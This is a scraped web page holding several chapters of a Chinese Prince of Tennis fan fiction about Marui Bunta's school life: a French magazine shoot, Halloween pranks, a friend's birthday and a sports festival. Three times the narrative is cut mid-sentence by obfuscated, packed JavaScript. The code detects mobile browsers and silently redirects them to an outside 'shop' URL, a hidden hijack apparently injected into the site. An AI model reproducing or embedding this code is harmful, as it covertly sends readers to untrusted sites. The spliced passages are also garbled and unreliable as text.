他嚼了嚼口香糖,安定地吹出一个泡泡,忽然想到什么,将脸转向闭目假寐的仁王。 这家伙行动莫测,而且只有做坏事的时候最不怕麻烦,偶尔会给他带来难以预想的困扰。 “等下回去的时候你可别出卖我哦。” 仁王发出一声困惑的鼻音,眼睫抬起,看见文太正用食指对准他,摇曳的红色发丝下方是明亮坦然的眼神,表情认真得仿佛在做一次正式的停战交涉。 “作为交换,我也不会告发你。” 不过丸井文太最终还是没能如愿以偿,因为当他回去部室以后,发现加缪寄来的特产并非巴黎的食物,而是一本当地的网球杂志。 网球部的几人刚看到封面就吓了一跳,因为封面竟是加缪、埃德加、迪莫迪,还有他们立海的幸村精市、柳生比吕士和丸井文太三人,以背靠背的侧立站位注视镜头,搭配诸如“法兰西的黎明与东洋之花的情热碰撞”、“邂逅于巴黎街头的跨国情缘”等等火辣得让人不敢细想的法语文字,让被拍摄入镜的三人都感到哑口无言。 翻开内页,里面确实有包含法国青少年网球界的话题,但更多是类似于时尚杂志的写真展示和穿搭介绍。那几位热情洋溢的法国少年自不必提,连他们三人也不例外,有幸村在普朗斯王子的庄园散步时,被对方的爱马亲近的照片,柳生在巴黎街头的时尚街拍,文太吃甜食途中看见镜头并顺手比出V字手势的样子…… 那个时候,埃德加确实有说想拍一些照片用在他们的刊物上,向他们征求了许可。不过立海三人都以为那只是学生会编撰的校刊一类的东西,没想到竟是看起来相当正规的出版杂志。 倒是普朗斯王子本人没有出镜,想来是因为对方年幼又家境不凡,不便于公开个人的资料吧。 随着杂志一起的寄到他们手中的还有三张国际汇票和一颗由粉红色毛毡制成的网球。加缪在手写信中说:杂志的销量创下近几年的新高,汇票是出版社支付的使用费,非常感谢他们,还告诉他们粉红网球已经被他通过亲吻注入了爱,愿能为他们带来取胜的力量。 鉴于这种行为太过抽象,真田听完便抽了抽嘴角快步离开,好似再慢一步就要沾上浪漫法兰西的奔放病毒。连素来沉稳的柳莲二都轻咳一声,不好调侃面对信件沉默的三人。 “那个,我们还是去训练吧……” 丸井文太将双手搭在脑后,身旁跟着用沉默表示赞成的绅士。看完戏的仁王也随意地耸了下肩膀,跟在后方正要一起离开,走到门前的时候却被幸村叫住。 “仁王。” 面带微笑的部长大人指了指他颈后的衣领。 “这里,沾了草叶。”他一句话就让仁王微微一怔,随后那双光泽清冽的眼眸静静看了过来,后面声调温柔却意味深长的话语更是让他后背冷汗直流,“丸井的裤子上也有,但我猜应该不是打架吧……小心点,别被真田察觉到哦。” “pupina。” 28.File 27 毛利 从法国归来的幸村精市貌似得到了新启发,最近和参谋柳莲二一起言笑晏晏地商量了好几次,将立海网球部的训练清单反复调整,据说连他的异国好友也提供了不少建议。 虽说大部分改动都针对于校队正选,而且部中成员基本都不会对这位小部长的决定妄加置喙,但当其他人听说,正选们竟在星期日——也就是例行远征到他校进行训练赛的当天——于拂晓时分一起去附近的江之岛攀爬“通天台阶”做体能训练,一同看过日出后,再乘坐大巴去打比赛,不由为那帮人颇为疯狂的青春感到咋舌。 “明年的立海会变成什么样啊?”有位二年级的学长忍不住感叹,“恐怕要成为历年以来最强的一届吧。” 另一位学长也是深有感触:“我都有点羡慕马上要引退的那几位三年级学长了,他们明年上高中说不定还能继续进校队,而我们明年反而难说。” 立海网球部内部有如金字塔般森严的实力划分,包含人数最多的普通队员,通过基础技术考核的强化队员,从部内训练赛中脱颖而出的后备队员,以及能代表学校对外出战的正选队员。 正规的团体赛事为2场双打和3场单打的配置,为便于队伍在面对不同对手的时候适度调整阵容,常规的正选名额为8人,多出的1人担任替补。 除了正选以外,后备队员由部内训练赛中胜率最高的5人入选,拥有随时挑战正选队员的权利,一旦胜利则双方身份对调。因此在过去某些时期,由于正选之争过于激烈,立海每次的出赛阵容都可能截然不同,这给对手学校的情报人员造成了极大困扰……当然,即便人员频繁变动,由于每名队员都具备丰富的队内比赛经验,校队整体实力依然坚不可摧,立海的关东连霸记录始终稳如磐石。 今年秋天,后备队员丸井文太、桑原·杰克、仁王雅治接连取代二、三年级的原正选进入校队,加上原来就站在网球部顶端的三巨头,校队中一年生的人数达到了史无前例的6人。 这其实是个很可怕的数字,意味着立海新一代主力在一年级时就拥有了原正选需经两到三年训练才能具备的实力。加之他们接下来还拥有两个完整的赛季,很显然,这将成为所有与立海为敌的学校的漫长噩梦。 而且可怕之处还不仅如此。 “嗯……说起来还有个人跟我们同年吧。那家伙的话,应该能保住席位?” “我也觉得。” 那两位二年级学长同时想到了另一个人,一个去年夏天转学到立海的人物,刚加入网球部就成为了正选,而且为了迁就他特立独行的行动模式,上任部长甚至在常规的8名正选之外增加了名额,并被现任部长幸村精市延续了下来。 “不过你还记得他叫什么吗?” “呃、忘了……好像全国大赛的时候听裁判喊过?除此之外有见过面吗?” 他们对视一眼,无奈地耸了耸肩膀。 哪怕在休赛季,立海网球部的训练仍是日复一日,很容易让人在周而复始的循环中感到时光飞逝。但在所有部员之中,丸井文太恐怕是对时间变化最为敏锐的人。各类物产的丰收时节总是各不相同,美味却罕见的食物也常常挂有季节限定的招牌,他必须牢牢地抓紧每一次难得的机会,才能够把各种好吃的都尝上一遍。 所以当他在某一日部活以后来到蛋糕店,发现玻璃展柜里面摆上了让人食指大动的南瓜巴斯克蛋糕和做成小幽灵造型的可露丽,文太立刻就意识到,是万圣节将要到来了。 虽然平时就一直这样做,但他怎能错过如此理直气壮向旁人讨要糖果的机会! 丸井文太的行动力向来超强,恰逢节日那天相模湾一带的海面起了浓浓的大雾,清晨的立海校园也笼罩在一片牛奶般丝滑浓郁的雾气中,天色昏暗,能见度极低,是任他肆意妄为的绝妙舞台。 无视杰克欲言又止的眼神,他换上运动服后将一块白布流畅地披在身上,随后猫着腰鬼鬼祟祟地溜出部室。 “Trick or treat!” 柳生比吕士正走在校园,浓雾围拢了他前后方的道路,此时身侧蓦地气流扰动,一个白影迎面朝他扑来,他当即脚步就是一顿。 在那千钧一发之际,跟在柳生身后的仁王伸出一根食指勾住同伴的衣领,轻轻向后一带,帮他躲过一次猪突猛进的意外袭击。 “不给糖就捣蛋!”假扮成幽灵的丸井文太故弄玄虚着压低声线。 “哪个中学生早上会随身带这种东西啊……除了你。”仁王不着痕迹地瞥了眼还没有反应的柳生,无奈地打掩护道,“下午再说,现在再不去晨练就要迟到了吧。” “切——” 听见没糖的文太无趣地扫了二人一眼,毫不留恋地转身就走。 他向来不是会轻言放弃的性格,晨练过后又兴致勃勃地要去搞事,为此特地绕小道到海林馆后头打算爬窗户到部室去吓队友,只是他才刚要行动,一脚已经悄悄攀上窗沿,就感到一股充满存在感的视线落在后背。 “……” 文太郁闷地哽了一下,缓慢扭头,紫眸心虚地对上一双盈满好奇神色的暗金色猫眼。 “你在做什么?”对方问,语调中带有明显的关西口音。 “呃、那个……” 这该怎么解释好呢。丸井文太抽了下嘴角,视线飘向对面坐在树上的那个人,深红色的卷发,端正俊朗的脸孔,以及立海网球部的队服,他掀起睫毛,不动声色地窥视对方脸上神色,心想这种时候进攻才是最好的防守,于是转移话题问,“毛利学长,你好像这学期都没参加过晨练?” “啊……”对方闻言愣了一下,抬手挠了挠后脑的乱发。 半分钟后,二人一起盘腿坐在树下的草坪。 “我觉得练习不应该由他人下令去练,而是想去练的时候再练。你不觉得这样才有效果吗?”毛利解释自己的理念,漫不经心的语气中带有淡淡的倨傲,是一种在立海学子身上很常见的,自负于才能的傲气。 “唔……这也是有点道理。”丸井文太眨了眨眼睛,勾起嘴角笑着说,“不过我想赢,为了确保自己能如愿以偿,训练都是自愿完成的,所以也代表一直都有效果吧。毛利学长倒是要小心不进则退哦。” 因为是头一回在这边听到并非劝诫,而是狡猾语气来挑衅的言谈,对方脸庞上有讶异的情绪一闪而过,目光落在丸井文太身上,对方那双紫色眼睛也用携着少年气的挑拨目光回视过来,全不知晓自己头顶一片白布的样子削减了眼角眉梢的锐气太多,给人留下的印象几乎只剩眼神狡黠的好看脸庞。 他那模样让毛利联想到在平安时代,贵族女性外出时常常会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776846|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将一件轻薄的被衣披在头顶,作为外出时遮阳、防止外人探视的帷幕,这样的风尚至今仍在关西的京都广为流行,也被当地视为娴静与典雅的美人象征。 此刻正抬起双手,将布帛从头顶撩起的红发男孩也显然拥有一张过分精致的脸孔,细碎的刘海拂过眉心,由于年龄稚嫩,五官的可爱比漂亮更多。 尽管是落在阴影之下,他的紫色瞳仁反而看起来更加清亮,无时无刻不流转着一种绝不会让人心生反感的机敏光辉,眼神灵动飞扬,眼角眉梢都带着天真明快的笑意,显然是与娴静无缘的活泼个性。 毛利隐约有印象在上学期见过这个红发学弟,夏天全国大赛的时候似乎也看到过不止一次,但因为他经常翘掉部活,双方压根没有面对面说过什么话,所以要说起名字的话……他有点尴尬地挠了挠后脑:“对了,那个……你叫什么来着?” “丸井文太。” 文太并不意外地回答。 他倒是对这位学长印象颇深,毛利寿三郎,比他年长一级,网球技术相当出色却因为有着散漫不拘的关西人个性,平日出勤率极低,只在大赛中偶尔出现。 虽然幸村君包容了他的特立独行,也为他保留了部内的位置,但真田和柳那边似乎颇有微词,大概是担心这名学长的任性会损害幸村君在网球部内的威信吧。 嗯……丸井文太倒是觉得,既然幸村君已经决定好了如何做,那应该就没什么问题,他更相信对方的判断。 这般思绪经过脑海的时候,文太看见毛利一双暗金色的眼睛凑近自己的脸庞,深红的头发非常张扬,加上用堪比成年人的高挑身材盘膝坐着,看起来就像只大型猫科动物正在面前端详自己。 “那么,丸井你刚才是要做什么?为什么不走正门进部室?” “这个话题还没过去啊……” 他默默地把身体后挪了一点。因为面对的是不太熟的学长,心里有点不好意思胡闹,可这时候又该怎么说明情况呢? 唔……文太沉默了一小会儿,略带拘谨地将双手缩进身上的白布里,然后垂着轻微晃了晃。 “那个……trick or treat?给我点心?”他小声问。 丸井文太在上课铃响前两分钟才堪堪赶到教室坐下,杰克正为他生死时速的踩点捏了一把冷汗,忽然看见发小坐下后偷偷摸摸把怀里抱着的纸袋放在腿上打开,取出一个松软的包子,掰开后可见里面填满了绵软厚实的豆沙,附近顿时弥漫出温热甜美的香气。 “这、这不是隔壁大学校区才卖的立海豆沙包吗?”杰克惊讶地小声问,“那边会卖给我们国中生吗?” 文太一口就吞了半个包子,声音含含糊糊地说:“没有问题……身高差不多,长得像大学生就可以了。” 身高?杰克听得一头雾水,因为他觉得,就凭文太的身高……无论如何都不可能被当作大学生吧? 在同一栋教学楼楼上二年级的教室里,浑不知自己刚被提起的毛利寿三郎猛然打了个喷嚏。 他眨了眨眼睛,低头瞧向自己书桌抽屉,里面正放着一个被分享过来的豆沙包。当然,豆沙包其实都是毛利寿三郎用自己的零用钱买的,而且是一次性买了一大袋的量。 他想起那个为了食物使唤学长的神奇学弟,无奈地抬手蹭了蹭鼻尖。 29.File 28 热心 熬过一整周阴雨连绵的期中测试周,神奈川的秋天很快变得寒冷起来。尽管大多数人将日常衣着更换为更加保暖的冬季西装,但立海学生仍是不得不在上下学的路上直面比市区更加猛烈的海风。寒冷气流呼呼地卷起从树枝脱落的枯叶,更显出晚秋的衰败景象,也让连续多日埋头书卷复习的少年少女们愈加无精打采。 平时为了准备早餐和便当,丸井文太通常在六点以前起床。近日他从床上起身的时候,窗外的天色仍是一片漆黑,所以不得不在厨房忙碌的期间把电灯打开。 这几年间,每逢这个象征深秋已至的提醒到来,他就会特别关注日历,直到一个被画上红圈的日期来临。 杰克·桑原在早晨一贯的时间来到他家附近的道路转角,等待发小与他一起上学。 “哟,早上好!” 这天文太背着书包跑出家门的时间比平常稍微晚了一点点,他看见杰克的时候立刻抬手打了声招呼,笑容满面的脸蛋上洋溢着兴奋的红晕。 “今天怎么特别精神啊?”杰克随意地打趣。 “那是当然啦。快伸出手来。” 文太一边说一边把手伸进包里翻找,却压根没来得及等杰克依言照做,就把一个用蝴蝶结缎带扎好的礼物塞到对方怀里。 “生日快乐,杰克!”他兴冲冲的样子好像自己也在过一个重要节日,“蛋糕我已经做好放在冰箱里了,今天放学后拿到你家一起吃。期待吧,这次的手艺绝对比去年更出色!” 杰克的表情从迅速一头雾水到恍然大悟,再变成惊喜交加。 “哦、哦哦——最近一直忙着考试我都没注意到,谢谢,原来都到这天了啊。”他有些语无伦次,不好意思地挠了挠后脑。 “连自己都忘记算怎么回事啊。”文太狠狠地吐槽,“这可是13岁生日哦,知道吗?想当年我刚认识你的时候,你还只是个年龄只有个位数的小鬼而已。哎呀——真怀念啊。” “喂,等下,那时候你年龄也是个位数吧?你才比我大半岁而已吧?凭什么用那种回顾青春的语气?” 丸井文太装作没听到他反驳的样子,扬起脸庞,竖起食指,语气郑重地强调道:“所以说生日可是大事,忘记就太不像话了。连好吃的蛋糕在这一天都会变成生日蛋糕这么伟大的名字了,杰克要好好纪念一生只有一次的13岁哦。” 虽然语气很像、或者说可以确信是对方哄弟弟的语气,但杰克向来在与文太的交往中只有被任其摆布的份儿,他很快就心甘情愿、满怀感动地在对方的言论中败退。 “那个,我现在就可以拆礼物吗?”杰克迫不及待地问。 文太吹着泡泡歪了歪头,唇角上挑:“喔!当然!” 他拆开缎带,看见里面是一盒电影碟片,名字写着《火车怪客》。 “这不是——”杰克脸上浮现出惊讶的表情。 “我记得你最近很喜欢这个导演的作品,希区柯克,对吧?”文太笑着说,“而且上次去东京打比赛的时候,你还在音像店抱怨过找不到哪里有卖这部电影的DVD。” 确实是这样没错,但这个电影年代久远,不像是近几年的当红电影一样存货广泛,杰克此前已经找过神奈川的很多家店,实在没有头绪才遗憾放弃。不知道发小是瞒着他独自搜罗了多久,才帮他淘出来这一份。 杰克·桑原此人外表看起来是刚毅的巴西男儿,其实他泪腺特别浅,想到这里已经感动得快要冒眼泪了。就在此时,丸井文太忽然又发出“啊”的一声,继续伸手从包里掏啊掏。 “对了,还有这个给你,寿星专供的超美味牛肉饼。” 把一袋冒着热气的牛肉饼塞进杰克手里。 “还有这个,我精心调味的烤红豆年糕汤。” 把一个保温杯塞进杰克手里。 “还有这个……” 每一次免不了都带上一句自夸,可见对方对自己的手艺是多有信心。 只不过他快要拿不下了啊。随着手里东西越来越多,杰克脸上的感动逐渐发展成哭笑不得的苦笑。 可是,该怎么说呢,他完全没办法拒绝。 这世上有这么个家伙会把有关他的事认真地放在心里。 觉得光是产生苦恼的念头都已经让自己觉得是奢侈级别的幸福。 “要开开心心地长大一岁哦,杰克!” 在他视野中央的丸井文太弯起了眼梢,露出一个帅气万分的漂亮笑容。 明明已经隆冬将至,但在这个草木凋敝、万物萧条的时节,鲜艳夺目的他几乎让这个世界都明媚生辉。 天生具备得天独厚的精致容颜和活泼懂事的性情,这样的孩子自然从很小的时候便会深受大人和小孩们共同的喜爱,而他自小就浸泡在所有人都对他充满善意和耐心的安全环境中,自然而然也会如正循环一般养成包容、善良,而且勇于探索世界的明快人格。 所以杰克也很清楚,对文太来说,爱是极易取得也极易给予的感情,于是很少犹疑,积极进取,而且慷慨大方,热心地关照着身边的朋友。他就像是个还在成长中的小小光源,虽然目前能够照亮的范围还只有身边的一小片地方,却已经渐渐能够吸引外面的人们想要伸手触及。 不知是不是日本这边的学生都比较早熟呢,小学就有女生趁赠送点心的机会向丸井文太告白,这种情况自升上国中以后更是络绎不绝。 文太通常的回答是可以先从朋友做起,如果他喜欢上了对方就由他来主动告白。那种没有轻易接受却仍给双方留有继续正常交往余地的答复方式颇有些一视同仁的气概。当然了,能够亲切地对待女生们的好感,同时又不会因此变得跋扈,挥霍甚至践踏他人好意,也证明他性格中有相当坦荡正直的一面。 这般在他极受欢迎的日常中,后来在某一日传出了丸井文太与其他班的女生的交往传闻。 确实有人见过他接受了对方送来的礼物,班里的男同学用开玩笑的语气询问,丸井文太也单手托腮并不否认,随后自然地笑着聊起其他话题。反正他平时晨训午休和下课后都要去网球部打球,那女生也偶尔在部活时间去网球部观看,自然连同班同学们都看不出破绽,于是话题便就此被大家当真了。 关于这件事,平日与他形影不离的杰克·桑原倒是知道包含真相版本的内情。 是那位女生遭到了同学的欺负,偶然路过现场的文太在帮忙解围后,为避免出现后续的报复事件,便暂时借传言为她提供庇护,等过段时间再装成和平分手的样子。反正别人不会觉得丸井文太是不念旧情的个性,那女孩能得到他的关照,对方总会有所忌惮。 运动系的明星社团正选成员叠加以好人缘闻名的人气王,这样的身份标签几乎算是处于学生中社交领域的顶层,是实打实的风云人物。有脑子的人都不会自找麻烦地与他为敌,立海的分数线也决定了学生中不可能存在那种笨蛋。 话虽如此,杰克偶尔在球场上看到那女孩观看文太打球的目光,又觉得她提出那种请求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785706|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮助的方法,其实是有几分想要借此近水楼台,甚至假戏真做的意思。 只是,对方越是努力接近,便越能清楚看见,丸井文太的身边总是聚集着不同的人。连杰克有时也会感到一种奇异的幸运,幼时那么内向和谨慎的自己居然能够一眼识出文太的特别,并且鼓起了勇气,义无反顾地闯入了对方的世界。 虽然丸井文太在大多场合都能展现出一视同仁的风趣友善,然而真正能理所应当地夺走他的视线和注意力,与他一拍即合的人,却无一不是同样光彩出众的天之骄子。 犹如置身于一片浩瀚渺远的银河,能被星辰看见的也只有星辰。 在那无数沉浮闪烁的繁星之中,文太就是杰克唯一的月亮。 学生日常的话题总是接连不断,风云人物的八卦传言也很快被新一轮的热点事件所掩盖过去。在几天之后,估计学校也是想要让刚从期中测试中解脱的大家轻松起来,接下来就是与海原祭同样广受好评的固定节目,立海的秋季学期的“双祭典”之一,体育祭。 和上学期学生们仅以个人身份参与竞赛的球技大赛不同,体育祭是以红白对抗为核心的团队竞赛。全校学生根据抽签结果被随机分为红组和白组,报名参赛后的成绩计入各自组别的总分,最后根据综合计分来评定优胜方,是每年都胜负难料的激烈竞赛。 丸井文太抽中了红组,他得知结果的第一时间立刻扭头去瞧杰克,看见发小也心有灵犀地晃了晃手中的红签,脸上立即露出灿烂的笑容。 “太好了,我们是战友!” 那么,要报名什么项目好呢……他的目光在老师罗列于黑板的项目之间移动。体育祭以趣味比赛为主,最经典的团战项目有拔河、多人跳绳、啦啦队PK、滚大球比赛、骑马战等,其他小项目也很多,仅仅赛跑就包括了障碍赛跑、两人三足、借物赛跑、叼面包赛跑、背人赛跑等分支类型。 杰克汗颜地看着文太在老师询问谁要参加叼面包赛跑的时候高高地举起了手臂,心说果然如此,这家伙绝不会放过任何一个能吃东西的机会。 “骑马战呢?骑马战还有没有人要参加的?这可是比分很重的决胜之战哦——” 老师像促销大卖场的主持人一样高声吆喝。 “这种场合作为红队的一员自然义不容辞!”丸井文太很给面子地踊跃接话,慷慨献身的发言引来班里其他红队同学的口哨吹捧。当然了,他的手指也是一如既往,很是自然流畅地指向后方愣了一下的杰克:“由杰克参加。” “喂,又是我啊?!” 这回变成全班同学都哄堂大笑,连抽中白队的同学们都忍不住纷纷投来怜悯的眼神,好像在同情他每次都被文太随性摆布的辛苦。 “嗯……那如果桑原同学不反对的话。”老师干咳一声,用忍笑的表情在骑马战的项目下面写了杰克的名字。当然,老师还是很厚道的,也把丸井文太的名字写在了紧接其后的位置,当作他们二人是一同报名了。 有人起哄说老师仗义,也有人调侃文太这是使唤杰克的报应,文太也配合着表演,大声抱怨老师太过狡猾。 然而很少有人能在吵闹的氛围中注意到,丸井文太在说完那句话以后悄然勾起了唇角,压根是他自己也很乐意参与的表情。 杰克也是,从来都对他人那些打趣不以为意,也不觉得被文太拖下水是一种负担。 他们都是在关爱对方的信任关系中找到了最适合彼此的相处方式,互相依赖,并且乐在其中。 30.File 29 倒霉 黑鸢停在树梢。 它隐藏在高高的枝桠深处,一双漆黑眼睛精光闪动,正一瞬不瞬地锁定着下方红发男孩的身影。 此时的丸井文太正盘腿坐在树下,专心致志地撕开手上点心的外包装袋。 当蛋糕香气盈满呼吸的那一瞬间,他头顶上方骤然传来一阵异响,枯黄的树叶从枝头簌簌散落,红发男孩闻声警觉抬头,只见视野中一个冲着他大大张开的鸟喙越来越近,顿时头皮一紧。 哇啊可恶,遇上了空中强盗啊。 这种比乌鸦稍大的老鹰时常出没于湘南海岸,属杂食性,而且颇为欺软怕硬,附近一带长大的孩子或多或少都有被抢走食物的童年阴影。 文太厌烦地“啧”了一声,心脏紧张得怦怦直跳,脸上反而露出一个不服输的锐利笑容。 “哼,食物争夺吗?我可不会输。” 他天生发达的反射神经在那电光石火的一刹被完全拉满,以快得让人难以置信的速度起身并向一侧躲闪,球鞋在滑步之时扬起一片纷纷草屑。嚣张的猛禽顿时扑了个空,从丸井文太刚才坐下的位置低空掠过。 “如何?很天才吧!”丸井文太得意洋洋地说,还不忘一口吞了他手上的点心,脸颊立即像是囤食的仓鼠一样撑得圆圆鼓鼓,并在三两下特别努力的咀嚼之后恢复如常。 黑鸢在半空回旋时发出一声尖锐的鸣叫,仿佛听懂了他的挑衅,再次气势汹汹地俯冲下来。 这种时候怎能退让!丸井文太露出兴奋表情,脚下步法就如在网前游走一般行云流水,又是一个轻巧的侧身,黑色身影与他再次擦肩而过,鲜红发丝在空中飒爽飞扬,他从容自如地左右避让,灵活闪避着黑鸢的攻击,翅膀掀起的疾风吹得刘海掀开,露出一双溢满了好胜心的紫色眼睛。 就在黑鸢又一次不甘心地调头冲来时,丸井文太挑起眉梢,陡然看准时机,身体向后一仰。 他这背身一跳却并未让双手着地,而是凭借腰腹的发力在半空翻过身体,一时间与下方直线冲刺的黑鸢平行飞行,随后腿弯稳稳地勾住一根粗壮树杈,整个人以倒挂之势荡了半圈,在直面黑鸢的同时一拳挥出—— “Game,丸井,1-0!”他振臂欢呼。 眼冒金星的大黑鸟发出两大声疑似骂得很脏的愤怒鸣叫,而后飞得歪歪扭扭地扬长而去。 对手弃权,那这盘可就算他大获全胜了哦。丸井文太倒挂在树上摇摇晃晃,掀开的刘海也随着动作左右摇摆,宽松的运动服向胸口滑下了一小截,露出一段白皙柔韧的紧实腰腹,戴着黑色护腕的双手自然下垂。 视野中的世界仿佛就此颠倒了过来,蓝天在脚下,绿草在头顶,荒诞之中又透出一种奇异的宁静。 就在丸井文太维持着这个姿势,全身心都为自己的胜利而志得意满时,耳旁忽然传来充满不祥的“咔嚓”一声,随后他身体一沉,整个人顿时失去平衡。 “咦?不会吧?!”文太睁圆眼睛,惊恐地看着自己距离地面越来越近。 砰——!!! 轰然巨响过后,树下扬起一团巨大的烟尘。 丸井文太向来热衷在比赛前吃各种东西,美其名曰“补充能量”,因此在体育祭正开展得热火朝天的期间,他独自偷溜出去买点心的行径也不算稀奇。 叼面包赛跑开始在即,真田弦一郎早早就站在起点位置。他在这次赛事中担任发令员一职,由于发现了熟识的网球部队友迟迟未至,真田忍不住暗自皱眉,眼神四处搜寻着文太的身影,却始终不见对方的踪迹。 就在他心急如焚、越来越焦虑时,视野中终于捕捉到一抹缓缓接近的鲜艳红色。 “你来得太迟了,丸井!”他正要对丸井文太的“过于松懈”开始说教,话到喉口,瞧见对方现在的模样,真田忽然愣了一下。 “你怎么了?” 他眼神疑惑又凝重地看向此刻灰头土脸的红发男孩。 就算在网球部训练过后,也难得见丸井文太如此狼狈的样子。卷翘的发梢上沾着尘土,运动服也蹭得脏兮兮的,更夸张的是脸颊都有破皮的痕迹。 该不会是霸凌事件?! 真田正要追问,却见丸井文太单手捂脸,露出一种往事不堪回首的表情。 “具体你就别问了……总而言之,就是我已经把那个该死的食物强盗打跑了。” 他的话让真田一脸云里雾里。 但文太完全没有解释的意愿,而是紧接着双手紧握成拳,虚空连挥了几下,用无比悲愤的语气大声抱怨:“可恶啊,还是越想越生气……抢我食物者罪无可恕,必须铁拳制裁!” 食物强盗?铁拳制裁? 真田弦一郎的脑袋上方浮现出无数个问号。 立海有饿到抢别人食物的学生吗?而且抢谁不行,非要抢丸井文太这个对食物最为执着的家伙头上? “总之你制裁了对方就好。我们不支持抢夺食物,犯错就要付出代价,对方如果有什么困难大可以说出来……” 在真田茫然接话的同时,文太也自顾自地用力握紧双拳,斗志高昂道:“好了,我要重振旗鼓!叼面包比赛是吧?优胜宝座我势在必得!” 他简直是化悲愤为动力,情绪高涨得连真田也哑口无言,心说别的姑且不论,丸井的求胜精神也算值得赞许,这才是他们立海人应有的面貌。 所谓叼面包赛跑,规则就是选手从同一起跑线冲刺到固定位置,并用嘴叼下高处用丝线悬挂的面包,再返回起始点的比赛。最先叼着面包抵达的选手就能取得胜利。 随着发令枪响,丸井文太作为发球上网的特长选手,瞬时启动冲刺和抵达面包区时急停就位的动作极为干脆利落,看得真田弦一郎在心中暗暗点头。毕竟他们不但是网球部的队友,现在还是体育祭中同为红组的同伴,自然乐见对方发挥出色。 然而真田的欣慰表情很快就在接下来的场面中逐渐风中凌乱。 “喂——丸井!你不要把别人的面包都吃了啊!!!到底谁才是食物强盗啊?!!!” 为了便于参赛选手叼取,面包区里悬挂的面包没有做得很大。于是比赛期间出现了这样的画面: 红发男孩身形敏捷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791774|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地蹦来蹦去,一口一个面包消失于绳端,导致后来的选手不得不为了得到越来越少的面包,只能就地展开争夺。 当面包竞争趋于白热化的时候,他又一脸坏笑地仗着灵巧纤细的体型优势挤出人群,然后一鼓作气冲回起点。 “哎呀,赢就好了,别在意那些细节嘛。”丸井文太单眼轻眨,飞出一个灵动满分的wink,手指冲着真田比出一个胜利的V字,神气十足道,“把别人的面包吃光,让他们没法跑回去。这不也是一种必胜战术吗?嗝。” 然后在临近的跑道区域,也有一场名为借物赛跑的比赛即将拉开序幕。 发令员开枪,参赛选手争先冲向跑道尽头的指令盒,然后从中拿出签条。 【巧克力】、【口香糖】、【硬糖】、【软糖】、【饼干】…… 虽说大家抽中的借物项目都是常见的零食,但货品齐全的福利社位于教学楼,距离操场实在遥远,而一个个询问附近的同学却需要点运气才能找到。正当选手们犹豫不决时,有人发现数据专家柳莲二已经目的明确地跑向某个方向。 “文太携带的概率是……98%。” 在道路的另一边,一个红发身影正悠闲地双手插兜踱步路过。 其他人顿时恍然大悟。对啊,要说身上总是携带着各式零食的点心大王,那不就是丸井文太吗? “喂——丸井!” 丸井文太隐约好像听见了别人呼唤自己的声音,一开始还以为是错觉,随着双方距离的缩短,那模糊的声量变得如山崩海啸般越来越大,也越来越清晰。 “嗯?怎么回事?” 他循声扭头,就见柳莲二带领身后一大帮人乌压压地冲着自己狂奔而来,那来势汹汹的氛围颇有种大军压城的魄力,额角顿时冒出紧张的汗珠。 什么、发生了什么?!文太下意识后退了一步,警觉地想要遁走,正左右扭头寻觅逃脱路线,那些人立刻面露急色,如饿虎扑食般涌了上来。 “别跑,留下你的口香糖/巧克力/糖果/饼干——!” “哈?!” 丸井文太怀疑今天的运势是不是对白羊座特别不友好,否则他怎么会倒霉到这种程度,每逢他稍微得意些,就有倒霉的意外事件发生。躲过抢食老鹰的袭击却从树上摔了下来,赢了比赛却挨了真田一顿说教,刚收到啦啦队女生们送他的点心却飞快被借物跑的同学争抢一空…… “唉——”他惆怅地长叹一口气。 距离下一场比赛开始还有不少时间,为了避免再被什么奇怪的事件卷入,要不然他还是找个没什么人的地方歇一会儿吧? 网球部活动室可能会撞见真田他们所以PASS,班级可能会碰上回来拿东西的同学也PASS,嗯……还有什么是体育祭的时候人迹罕至的地方呢? 对了,屋顶庭园。 文太越想越觉得这个点子很有可行性,便偷偷趁别人都没注意到自己的时候溜回教学楼,一口气爬到天台。 然而出他意料的是,那里竟早有人已经捷足先登,而且对方还是丸井文太的熟人。 31.File 30 恶劣 “仁王?你在这里做什么?” “唔……差不多就是和你一样的原因吧。” “什么嘛,搞得好像你懂读心术一样。” 说话的语气别太目中无人哦。丸井文太这么说着,随后关上了身后的门。 仁王雅治在他接近的时候才漫不经心地挑起眼梢,随后便露出惊讶的神情,视线很明显地上下扫过丸井文太。 “这是怎么回事?” 他抬手指向对方脸颊上的医用敷料,目光对上丸井文太无论何时都很明亮的紫色眼睛,但从对方眉宇之间观察不出任何阴霾的痕迹。 